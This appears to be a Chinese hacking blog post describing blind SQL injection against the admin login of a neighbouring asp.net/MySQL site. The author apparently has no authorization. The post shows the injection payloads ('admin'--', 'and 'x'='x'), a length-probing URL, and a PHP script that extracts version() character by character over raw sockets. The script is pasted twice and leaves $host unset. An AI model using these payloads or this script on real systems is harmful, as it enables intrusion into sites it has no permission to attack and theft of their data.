后台的登录注入点,不过悲剧的是无回显只能盲注。更悲剧的是mysql数据库是5一下的版本! 不过还好站点是asp.net程序的使程序报错后能显示一些信息。 正文开始吧。 目标站点找了一圈没发现入口点,旁站没几个,不过幸运的是发现了个登录框的注入点!(应为这个旁站只有一个登录入口!) 刚开是在用户名那里输入了 admin'-- 报错了 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 一看对输入没有过滤是存在注入!那么好办了。 首先先看看能不能直接绕过去。输入admin' and 'x'='x 密码随便 程序没有报错 不过提示的是密码错误。 看来他的sql语句是先判断用户名再判断密码的! 接下来准备看看密码是否可以绕过。 返回的结果一样好吧我承认我2B了 程序肯定是把传递过来的参数MD5加密过的!! 盲注吧没任何显示的!! 先判断了下有长度是多少。 这里拿 查看当前库的语句来演示。 http://HdhCmsTest2cto测试数据 /path/index. asp x?UserName=admin' and Length((database()))=9 and 'x'='x 经过判断长度等于9 我承认这样子很麻烦不过sql注入神器没有回显的!所以被逼无奈的我自己写了一个自动注入的脚本! 不过目标站点的是UTF-8 我cmd下面显示不了UTF-8 所以我用php函数转换了下编码把关键字定位了 不过程序不能自己去对比关键字。(可能php水平还没到位) 所以只能自己去判断了!
注入代码我发上来吧! <?php ///* //9 for($i=1; $i<=9; $i++){// 猜内容 $a=1; while($a<=120){ $sa=sList($i,$a++); $sa =iconv("UTF-8", "GB2312//IGNORE",$sa); echo ($i).$sa." ----".($a-1)."\n"; } } //*/ /* $a=0; while ($a<50){//猜长度 $sa=sky($a++); $sa =iconv("UTF-8", "GB2312//IGNORE",$sa); echo $sa." ----".($a-1)."\n"; } */ function sList($ke,$value) { $tmp = array(); $data = ''; $fp = @fsockopen($host,80,$errno,$errstr,60); @fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n"); while ($fp && !feof($fp)) $data .= fread($fp, 102400); @fclose($fp); //print_r($data); preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp); return $tmp[1][0]; } function sky($value){ //猜长度 $tmp = array(); $data = ''; $fp = @fsockopen($host,80,$errno,$errstr,60); @fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n"); while ($fp && !feof($fp)) $data .= fread($fp, 102400); @fclose($fp); //print_r($data); preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp); return $tmp[1][0]; } ?> <?php ///* //9 for($i=1; $i<=9; $i++){// 猜内容 $a=1; while($a<=120){ $sa=sList($i,$a++); $sa =iconv("UTF-8", "GB2312//IGNORE",$sa); echo ($i).$sa." ----".($a-1)."\n"; } } //*/
/* $a=0; while ($a<50){//猜长度 $sa=sky($a++); $sa =iconv("UTF-8", "GB2312//IGNORE",$sa); echo $sa." ----".($a-1)."\n"; } */ function sList($ke,$value) { $tmp = array(); $data = ''; $fp = @fsockopen($host,80,$errno,$errstr,60); @fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n"); while ($fp && !feof($fp)) $data .= fread($fp, 102400); @fclose($fp); //print_r($data); preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp); return $tmp[1][0]; } function sky($value){ //猜长度 $tmp = array(); $data = ''; $fp = @fsockopen($host,80,$errno,$errstr,60); @fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n"); while ($fp && !feof($fp)) $data .= fread($fp, 102400); @fclose($fp); //print_r($data); preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp); return $tmp[1][0]; } ?>
希望有人能帮忙完善下这段代码!! 最后感谢那条死鱼的打击以及Ay暗影的帮忙!!
来源:落叶's Blog
查看更多关于asp.net+mysql后台盲注入 - 网站安全 - 自学php的详细内容...